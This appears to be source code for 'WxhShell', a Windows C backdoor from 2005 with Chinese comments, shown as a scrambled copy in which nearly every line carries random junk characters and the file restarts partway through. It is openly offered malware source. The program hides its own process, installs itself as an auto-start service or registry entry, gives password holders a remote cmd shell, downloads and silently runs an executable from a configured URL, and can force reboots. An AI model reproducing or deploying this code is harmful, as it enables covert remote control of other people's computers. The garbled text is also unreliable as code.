    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {  O+d7,C  
    if(Boot(SHUTDOWN)) #nV F.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gf'qPLK0  
    else { (3Hz=k_  
    closesocket(wsh); R57>z`;  
    ExitThread(0); @>n7  
    } h/E+r:2]  
    break; 2Fk4jHj  
    } !sWKi)1  
  // 获取shell m20:{fld  
  case 's': { hK F*{,'  
    CmdShell(wsh); .?T,>#R  
    closesocket(wsh); e 4-  
    ExitThread(0); #9-qF9M  
    break; u~WBu|  
  } npC:SrI%  
  // 退出 "mlVs/nsyG  
  case 'x': { E9e|+$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8aDh HXI  
    CloseIt(wsh); s8L=:hiSf)  
    break; 32nB9[l  
    } a*?bnw?  
  // 离开 ~9%L)nC2'  
  case 'q': { _m.u@+g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DX>Yf}  
    closesocket(wsh); 4D+S\S0bk  
    WSACleanup(); d:C|laZHn  
    exit(1); 1t&LNIc|^  
    break; a"7zz]XO2  
        } ~6YTm6o  
  } cu{c:z~  
  } m'{gO9V  
jeb ]3i=pw  
  // 提示信息 ]-ad\PI$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c>I(6$  
} X{cFq W7  
  } D6X0(pU0  
Cngi5._Lb  
  return; PkM]jbLe8  
} .[mI9dc  
?8AV-rRX  
// shell模块句柄 v@m2c_,  
int CmdShell(SOCKET sock) Rq`B'G9|c  
{ O5X@'.#rU  
STARTUPINFO si; in}d(%3h  
ZeroMemory(&si,sizeof(si)); z~8`xn,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %gBulvg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w[ )97d  
PROCESS_INFORMATION ProcessInfo; e_U1}{=t  
char cmdline[]="cmd"; dsJMhB_41U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :g&9v_}&K{  
  return 0; <}Hfu-PLo  
} 1jHugss9|  
p>Z18  
// 自身启动模式 ,xcm:; &  
int StartFromService(void) KHnq%#  
{ tqo k.h  
typedef struct |E]`rfr  
{ 73C7g< Mx  
  DWORD ExitStatus; Fsdp"X.  
  DWORD PebBaseAddress; ~ 9Xs=S!  
  DWORD AffinityMask; +95: O 8  
  DWORD BasePriority; V46=48K.  
  ULONG UniqueProcessId; [f._w~  
  ULONG InheritedFromUniqueProcessId; 3[_zz;Y*d  
}   PROCESS_BASIC_INFORMATION; HNXMM  
LVHIQ9  
PROCNTQSIP NtQueryInformationProcess; 6gr?#D -F  
b*5Yy/U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gl am(V1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MBp,! _Q6  
~F)[H'$A  
  HANDLE             hProcess; { Q?\%4>2  
  PROCESS_BASIC_INFORMATION pbi; XC*!=h*  
_8QHx;}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <GdQ""X  
  if(NULL == hInst ) return 0; 4hl`~&yDf  
z4!Y9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FaA'%P@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n]nb+_-97  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z'Uc}M'U  
%"yy8~|  
  if (!NtQueryInformationProcess) return 0; i!yu%>:M  
VbU*&{j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nbyc,a[o  
  if(!hProcess) return 0; xZ=6  
0,{tBo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "pA24Ze  
&$H7vdWNy  
  CloseHandle(hProcess); RyuI2jEy  
NzBX2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I_.Jo `lK~  
if(hProcess==NULL) return 0; qI= j>x  
w^EUBRI-  
HMODULE hMod; ]=ubl!0=:  
char procName[255]; b^s>yN  
unsigned long cbNeeded; tNbL)  
T[(4z@d`5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :qAF}|6  
BN]{o(EB  
  CloseHandle(hProcess); 7 'B9z/  
W)LtnD2 w  
if(strstr(procName,"services")) return 1; // 以服务启动 (R{|*:KP  
*K#Ci1Q  
  return 0; // 注册表启动 "e;wN3/bF  
} ! <O,xI'  
8+|7*Ud  
// 主模块 <&CzM"\Em  
int StartWxhshell(LPSTR lpCmdLine) &sA@!  
{ Y^(NzN  
  SOCKET wsl; Kk9eJ\  
BOOL val=TRUE; PrQs_ t Ni  
  int port=0; <jz\U7TBf  
  struct sockaddr_in door; be+]kp  
yN/Uyhq  
  if(wscfg.ws_autoins) Install(); i w(4!,4~  
 b^dBX  
port=atoi(lpCmdLine); w8KVs\/  
nW"ml$  
if(port<=0) port=wscfg.ws_port; JI7.:k;  
A< *G;  
  WSADATA data; w~|z0;hC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b!l/O2 G  
Jc9BZ`~i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3:B4;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _/pdZM,V  
  door.sin_family = AF_INET; %CaF-m=Pq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x6iT"\MO  
  door.sin_port = htons(port); K /A1g.$  
kf -/rC)>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j"Y5j B`  
closesocket(wsl); D//uwom  
return 1; gZ 6Hj62D  
} ,!I'0x1OR  
r>kDRIHB  
  if(listen(wsl,2) == INVALID_SOCKET) { i-W!`1LH'  
closesocket(wsl); IzWS6!zKU  
return 1; oc0z1u  
} mA" 82"   
  Wxhshell(wsl); JANP_b:t  
  WSACleanup(); XJ*W7HD  
OE8H |?%  
return 0; ^(.utO  
#- z(]Y,y  
} ;e#bl1%#  
no UXRQ  
// 以NT服务方式启动 8 aC]" C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qJ5gdID1_  
{ *<IQ+oat,a  
DWORD   status = 0; ;Y@"!\t}  
  DWORD   specificError = 0xfffffff; zKf.jpF^  
D  Kng.P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B`;DAsmT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V+dFL9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =7P(T`j  
  serviceStatus.dwWin32ExitCode     = 0; 4SGF8y@WU  
  serviceStatus.dwServiceSpecificExitCode = 0; eT ZQ[qMp  
  serviceStatus.dwCheckPoint       = 0; ATq-&1hs  
  serviceStatus.dwWaitHint       = 0; K4|{[YpPB  
Ng;Fhv+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); se^(1R k  
  if (hServiceStatusHandle==0) return; c ;@k\6  
YA'_Ba(v)  
status = GetLastError(); `mo>~c7  
  if (status!=NO_ERROR) mj^]e/s%  
{ .:?cU#.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6H:'_|G  
    serviceStatus.dwCheckPoint       = 0; rxM)SC;P  
    serviceStatus.dwWaitHint       = 0; 99mo]1_  
    serviceStatus.dwWin32ExitCode     = status; @uzzyp r>  
    serviceStatus.dwServiceSpecificExitCode = specificError; AOVoOd+6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_}%YHb  
    return; 3!<} -sW4  
  } B_uAa5'  
EC0M0qQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; > qDHb'  
  serviceStatus.dwCheckPoint       = 0; "YQ%j+  
  serviceStatus.dwWaitHint       = 0; eK_Yt~dj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p}{V%!`_  
} _3{,nhkf:!  
-mPrmapb3  
// 处理NT服务事件,比如:启动、停止 7iM;X2=7}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %m0x]  
{ _!'sj=n]q  
switch(fdwControl) 4}>1I}!k  
{ \&)k{P>=  
case SERVICE_CONTROL_STOP: ja|XFs~  
  serviceStatus.dwWin32ExitCode = 0; K-f\nr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xy'qgK?  
  serviceStatus.dwCheckPoint   = 0; .jps6{  
  serviceStatus.dwWaitHint     = 0; 3NA G}S  
  { 5q>u]n9]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z d]2>h  
  } OcLFVD=  
  return; _Sxp|{H0  
case SERVICE_CONTROL_PAUSE: },'Ij; %%Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; my(yN|  
  break; 9b}AZ]$  
case SERVICE_CONTROL_CONTINUE: xB&6f")  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TR([u  
  break; JHCV7$RS  
case SERVICE_CONTROL_INTERROGATE: lS:R##  
  break; B>TI dQ  
}; qf qp}g\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y =BXV7\  
} af WEt -  
.1 =8c\%  
// 标准应用程序主函数 UW/{q`)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Yjxx+X9  
{ 05>xQx?"m4  
Y><")%Q  
// 获取操作系统版本 1>1ii  
OsIsNt=GetOsVer(); *;I F^u1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >RMp`HxDf  
r31H Zx1^  
  // 从命令行安装 _U@;Z*(%vh  
  if(strpbrk(lpCmdLine,"iI")) Install(); >=Z@)PAe  
l .wf= /  
  // 下载执行文件 4{1 .[##]o  
if(wscfg.ws_downexe) { ;PrL)!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?fXlrJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1q[vNP=g&  
} +^6v%z  
:i24 @V~){  
if(!OsIsNt) { P=jbr"5Q:  
// 如果时win9x,隐藏进程并且设置为注册表启动 U2(|/M+  
HideProc(); ZdJer6:Z}  
StartWxhshell(lpCmdLine); ?-e'gC  
} b@&ydgmaQ  
else J&IFn/JK$  
  if(StartFromService()) G3G"SJ np  
  // 以服务方式启动 2\,vq R  
  StartServiceCtrlDispatcher(DispatchTable); 5E#koy7 $s  
else fWBI}~e  
  // 普通方式启动 tR]1c  
  StartWxhshell(lpCmdLine); # Y*cLN`Y7  
jSj (ZU6  
return 0; ZoiCdXvTN  
}  9g*MBe:  
R{"7q:-  
W]v[Xm$q  
Je6=N3)  
=========================================== oV c l (  
r|WoM39bp  
GAlAFsB  
N!e?K=}tL  
Dl#%tYL+3h  
')ErXLP_  
" AwKxt'()^  
X%1fMC  
#include <stdio.h> Q.Kr;64G  
#include <string.h> s)e; c<(/  
#include <windows.h> ly d[GfJ  
#include <winsock2.h> \c! LC4pE  
#include <winsvc.h> ;NrkX?Y  
#include <urlmon.h> oj7X9~ nd  
_`JY A  
#pragma comment (lib, "Ws2_32.lib") <h/\)bPB  
#pragma comment (lib, "urlmon.lib") oK GFDl]3  
p,=:Ff}~  
#define MAX_USER   100 // 最大客户端连接数 U/B1/96lJ  
#define BUF_SOCK   200 // sock buffer $rySz7NI  
#define KEY_BUFF   255 // 输入 buffer ^;2dZgJ4^  
<N%8"o  
#define REBOOT     0   // 重启 \Mv8pU  
#define SHUTDOWN   1   // 关机 o%Lk6QA$  
Z:#-4CiP  
#define DEF_PORT   5000 // 监听端口 C/Ig.KmXF{  
({cgak  
#define REG_LEN     16   // 注册表键长度 "mA Vkq~  
#define SVC_LEN     80   // NT服务名长度 N>OF tP  
dm Lgt)-t  
// 从dll定义API >8 V;:(nt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .,K?(O4AY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `F>1xMm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n ?%3=~9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #N|)hBz9-  
JlF0L%Rc  
// wxhshell配置信息 %<e\s6|P:  
struct WSCFG { HRx%m1H  
  int ws_port;         // 监听端口 BEM+FG  
  char ws_passstr[REG_LEN]; // 口令 Z;@F.r  
  int ws_autoins;       // 安装标记, 1=yes 0=no |67j__XC  
  char ws_regname[REG_LEN]; // 注册表键名 XbJ=lH  
  char ws_svcname[REG_LEN]; // 服务名 eBTy!!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^c1I'9(r5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <ZJ>jZV0*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i&^?p|eKa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G:.Nq,513  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kNW&rg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t%Z_*mIfmE  
lX`)Avqa  
}; $&m^WrZaY  
nm*!#hx  
// default Wxhshell configuration *g5df[  
struct WSCFG wscfg={DEF_PORT, ^sq3@*hCw  
    "xuhuanlingzhe", Y#c11q Z  
    1, E~zLhJTUL'  
    "Wxhshell", IPcAE!h6zN  
    "Wxhshell", k 6~k  
            "WxhShell Service", :&`Yz   
    "Wrsky Windows CmdShell Service", c3|;'s  
    "Please Input Your Password: ", ^Y xqJy  
  1, ?Z] }G  
  "http://www.wrsky.com/wxhshell.exe", \1RQ),5 %]  
  "Wxhshell.exe" cW),Y|8  
    };  !+IxPn  
c?d+>5"VX  
// 消息定义模块 4i[3|hv'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +I2P{7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pM\)f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K+H?,I  
char *msg_ws_ext="\n\rExit."; Z>a_vC  
char *msg_ws_end="\n\rQuit."; r3w.$  
char *msg_ws_boot="\n\rReboot..."; 5SX0g(C  
char *msg_ws_poff="\n\rShutdown..."; ,u( g#T  
char *msg_ws_down="\n\rSave to "; u *z$I  
1z~;c|  
char *msg_ws_err="\n\rErr!"; @l&5 |Cia  
char *msg_ws_ok="\n\rOK!"; %yQ-~T@  
*ZGQ`#1.X6  
char ExeFile[MAX_PATH]; mCtuyGY  
int nUser = 0; )xP]rOT  
HANDLE handles[MAX_USER]; ~@z5Ld3xz  
int OsIsNt; @P"q`*  
E[LXZh  
SERVICE_STATUS       serviceStatus; g i:;{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ih`n:aA  
bqf=;Nvog  
// 函数声明 \XMl8G  
int Install(void); Lq LciD  
int Uninstall(void); wH!]B-hn  
int DownloadFile(char *sURL, SOCKET wsh); N{P (ym2yR  
int Boot(int flag); 1_/\{quE  
void HideProc(void); D}!U?]la&  
int GetOsVer(void); M.d{:&@`%  
int Wxhshell(SOCKET wsl); 622mNY  
void TalkWithClient(void *cs); ms ;RJT2O'  
int CmdShell(SOCKET sock); ,D3q8?j  
int StartFromService(void); "S[VtuxPCU  
int StartWxhshell(LPSTR lpCmdLine); "SyyOD )WA  
nH% /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g@nk0lQewj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); + 7E6U*  
WLNkO^zb  
// 数据结构和表定义 +zs;>'Sf  
SERVICE_TABLE_ENTRY DispatchTable[] = ;pb~Zk/[,w  
{ 8.jd'yp*J  
{wscfg.ws_svcname, NTServiceMain}, u|8`=  
{NULL, NULL} pa+^5N  
}; h+.^8fPR   
V85a{OBm,8  
// 自我安装 tq@<8?  
int Install(void) Li Qs;$V  
{ IwFg1\>  
  char svExeFile[MAX_PATH]; ,X\z#B  
  HKEY key; J;"XRE[%5  
  strcpy(svExeFile,ExeFile); gNs@Q !  
1 EC0wX  
// 如果是win9x系统,修改注册表设为自启动 FL/y{;  
if(!OsIsNt) { % C6 H(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =q5A@!D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uVu`TgbZ  
  RegCloseKey(key); FNmIXpAn*@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <`| }bt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K~,,xsy,G&  
  RegCloseKey(key); ZQl[h7c/N  
  return 0; a%(1#2^`q!  
    } W .Hv2r3  
  } l*'jqR')h^  
} aQFYSl  
else { MQ\:/]a  
1 ,D2][  
// 如果是NT以上系统,安装为系统服务 "!Mu5Ga  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uaJ5'*  
if (schSCManager!=0) A7|"0*62  
{ #wM0p:<  
  SC_HANDLE schService = CreateService .D4 D!!  
  ( $!obpZ~}  
  schSCManager, v l{hE~  
  wscfg.ws_svcname, -+Q,xxu  
  wscfg.ws_svcdisp, "[GIW+ui  
  SERVICE_ALL_ACCESS, 4sZ^:h,1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >454Yir0Mk  
  SERVICE_AUTO_START, X dB#+"[  
  SERVICE_ERROR_NORMAL, KD Qux  
  svExeFile, 7Zu!s]t  
  NULL, /B1< N}  
  NULL, x:l`e:`y9  
  NULL, A%+~   
  NULL, >t*zY~R.  
  NULL 7qW:^2y  
  ); Ubn5tN MK  
  if (schService!=0) i7fpl  
  { b>2u>4  
  CloseServiceHandle(schService); >r]# 77d  
  CloseServiceHandle(schSCManager); Mh_jlgE'd#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g4Hq<W"  
  strcat(svExeFile,wscfg.ws_svcname); =$BgIt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tvb hWYe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *~&W?i  
  RegCloseKey(key); X:62 )^~'  
  return 0; } doj4  
    } Tm3$|+}$f  
  } )2^OBfl7  
  CloseServiceHandle(schSCManager); 31b-r[B{%  
} jjl4A} *0  
} O=mGL  
UBC[5E$  
return 1; dc?Yk3(Y  
} o~iL aN\+  
})!n1kt  
// 自我卸载 ARU,Wtj#  
int Uninstall(void) OvK_CN{  
{ C|!E' 8Rw  
  HKEY key; >Q+EqT  
89 fT?tT  
if(!OsIsNt) { ]L &_R^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (V=lK6WQm  
  RegDeleteValue(key,wscfg.ws_regname); O _1}LS!  
  RegCloseKey(key); hgVwoZ{`]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UZ] (X/  
  RegDeleteValue(key,wscfg.ws_regname); rSEJ2%iF*  
  RegCloseKey(key); r2sog{R  
  return 0; Zs{ `Yf^Q  
  } ) Fm  
} (1jkZ^7  
} O^:Pr8|{J  
else { Y_)04dmr@[  
4G`YZZQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s}?98?tYB  
if (schSCManager!=0) 7Q[P  
{ WMUw5h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W%h<@@c4,  
  if (schService!=0) E-"Jgq\aC  
  { MESQAsx%  
  if(DeleteService(schService)!=0) { C)ChF`Ru':  
  CloseServiceHandle(schService); w[|!$J?  
  CloseServiceHandle(schSCManager); 1m ![;Pg3  
  return 0; ' GW@P  
  } }y[o[>  
  CloseServiceHandle(schService); {O^1WgGc[  
  } ?_tOqh@in  
  CloseServiceHandle(schSCManager); #bdJ]v.n  
} 5Cz:$-+  
}  =6A<>  
T+.wJ W:jh  
return 1; Y":hb;&  
} VUt 6[~?  
Qu;AU/Q<([  
// 从指定url下载文件 !8A5Y[(XD  
int DownloadFile(char *sURL, SOCKET wsh) 9td(MZ%i~N  
{ 1MV^~I8Dd  
  HRESULT hr; d+^4 ;Hv4  
char seps[]= "/"; Jhut>8  
char *token; XM=`(e o  
char *file; nwkhGQ  
char myURL[MAX_PATH]; P4N{lQ.>  
char myFILE[MAX_PATH]; Nv ew^c)x  
6U""TR!   
strcpy(myURL,sURL); c dGl[dQ/  
  token=strtok(myURL,seps); 74[}AA  
  while(token!=NULL) a\MU5%}\  
  { 8?)Da&+f  
    file=token; f,uxoAS  
  token=strtok(NULL,seps); 9g*~X;`2  
  } {9=U6m^R2  
m3|,c[M1  
GetCurrentDirectory(MAX_PATH,myFILE); <QJmdcG  
strcat(myFILE, "\\"); )8N/t6Q  
strcat(myFILE, file); <Jvr mm[  
  send(wsh,myFILE,strlen(myFILE),0); O42An$}  
send(wsh,"...",3,0); RI%l& Hm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q,DumOq  
  if(hr==S_OK) t)v#y!Ci"  
return 0; sP&E{{<QTF  
else Z'fy9  
return 1; zf S<X  
eVlI:yqppj  
} #Gg^fm  
'x18F#g  
// 系统电源模块 X F40;urm  
int Boot(int flag) `kz_ q/K  
{ !nYAyjf   
  HANDLE hToken; AzQ}}A;TSx  
  TOKEN_PRIVILEGES tkp; SB F3\  
J$P]>By5:  
  if(OsIsNt) { -0Q!:5EC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;x7SY;0*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ![V<vIy  
    tkp.PrivilegeCount = 1; +0a',`yc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p1D-Q7F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !C+25vup  
if(flag==REBOOT) { Wx-{F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q^ F-8  
  return 0; ilHj%h*z  
} !#?tA/t@  
else { < xV!vN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tN0>5'/  
  return 0; ,onv `  
} ~KNxAxyVi  
  } [[|;Wr} 2  
  else { =o-qu^T^u  
if(flag==REBOOT) { dG|\geD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UnMDdJ\  
  return 0; LTCjw_<7  
} @z,'IW74V  
else { md2kZ.5u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }i[jJb`bY  
  return 0; %Wu8RG}  
} {B}0LJIpL  
} Ay_<?F+&  
Gm%[@7-  
return 1; QJTC@o  
} Zsuh8t   
pp-Ur?PM  
// win9x进程隐藏模块 [Q*kom :  
void HideProc(void) Ga h e-%J  
{ Kfr?sX  
N" 8o0>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q\/|nZO4  
  if ( hKernel != NULL ) 9QYU J  
  { $ OR>JnV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LRI_s>7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ywdNwNJ  
    FreeLibrary(hKernel); Y#m0/1-  
  } KOxD%bX_  
b9vKux  
return; K0v,d~+]  
} A< Na,EC  
i a|F  
// 获取操作系统版本 urN&."c  
int GetOsVer(void) 2<O hO ^  
{ ?+!KucTF  
  OSVERSIONINFO winfo; '2vlfQ@8a~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &sllM  
  GetVersionEx(&winfo); _]4cY%s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }I;W  
  return 1; ewLr+8  
  else V?gQ`( ,  
  return 0; -g>27EI5  
} `rcjZ^n  
BAPi<U'D  
// 客户端句柄模块 f(C0&"4e  
int Wxhshell(SOCKET wsl) H Ow][}M_w  
{ RWoiV10  
  SOCKET wsh; x O)nS _I  
  struct sockaddr_in client; 7}#vANm  
  DWORD myID; 78Gvc~j  
%iGME%oXr  
  while(nUser<MAX_USER) e 9:l  
{ $`Ou*  
  int nSize=sizeof(client); {L+?n*;CA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l(`w]=t&  
  if(wsh==INVALID_SOCKET) return 1; bT;C8i4b\H  
g &za/F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;aF / <r  
if(handles[nUser]==0) ,aN/``j=  
  closesocket(wsh); S*]IR"YL  
else  <O*q;&9  
  nUser++; !1l2KW<be  
  } dfrq8n]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !!QMcx_C#/  
EmH{G  
  return 0; ucn aj|  
} hZFbiGQr\  
!pN,,H6Y  
// 关闭 socket X3"V1@-i4$  
void CloseIt(SOCKET wsh) mA4v  4z  
{ 4j | vzyc  
closesocket(wsh); lDH0bBmd0  
nUser--; h!Ka\By8#  
ExitThread(0); a@7we=!  
} qmK!d<4  
l5R H~F  
// 客户端请求句柄 %'>. R  
void TalkWithClient(void *cs) $a-~ozr`C  
{ YgDgd\  
T#( s2  
  SOCKET wsh=(SOCKET)cs; S)~h|&A(  
  char pwd[SVC_LEN]; =DtM.oQ>  
  char cmd[KEY_BUFF]; "qF&%&#r'  
char chr[1]; ^fx9R 5E$:  
int i,j; E`X+fJx  
EfyF]cYL  
  while (nUser < MAX_USER) { dRu@5 :BP  
NLdUe32A  
if(wscfg.ws_passstr) { >S~#E,Tg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "#9WF}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WOwIJrP  
  //ZeroMemory(pwd,KEY_BUFF); lfGiw^  
      i=0; 3!d|K%J  
  while(i<SVC_LEN) { uM\~*@   
x=H*"L=  
  // 设置超时 ja:%j&:  
  fd_set FdRead; 1{,WY(,c  
  struct timeval TimeOut; Mpj3<vj   
  FD_ZERO(&FdRead); K.cNx  
  FD_SET(wsh,&FdRead); e8[ *=&  
  TimeOut.tv_sec=8; GJW1|Fk  
  TimeOut.tv_usec=0; E:i3 /Ep?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KctD=6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^C'k.pV n~  
4Q]+tXes  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "_(o% \"7  
  pwd=chr[0]; kL&^/([9  
  if(chr[0]==0xd || chr[0]==0xa) { v/^2K,[0>  
  pwd=0; y/PEm)=Tt  
  break; n3)g{K^  
  } ~U^0z|.  
  i++; # v v k7  
    } -_2= NA?t  
RuHJk\T+  
  // 如果是非法用户,关闭 socket a-YK*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p<![JeV  
} wRuJein#  
vI+PL(T@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zX5p'8-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d8x$NW-s  
O" z=+79q  
while(1) { ;bZ)q  
J|I|3h<T  
  ZeroMemory(cmd,KEY_BUFF); S'A~9+  
MVTU$ 65  
      // 自动支持客户端 telnet标准   p%G\5.GcJL  
  j=0; ad"&c*m[  
  while(j<KEY_BUFF) { *+J&ebSTN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,+q5e^P  
  cmd[j]=chr[0]; ]=pEs6%O3  
  if(chr[0]==0xa || chr[0]==0xd) { U %KoG-#  
  cmd[j]=0; 8gx^e./  
  break; `j<'*v zo  
  } ?5->F/f&  
  j++; )ei+ewVZ  
    } *|4~ 0w  
K_My4>~Il  
  // 下载文件 7tyn?t0n  
  if(strstr(cmd,"http://")) { nVYh1@yLy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]`|bf2*eA  
  if(DownloadFile(cmd,wsh)) ` "9Y.KU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !E*-\}[  
  else (C. 1'<]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #cApk  
  } m=n V$H   
  else { )kd PAw  
,2]6cP(6qQ  
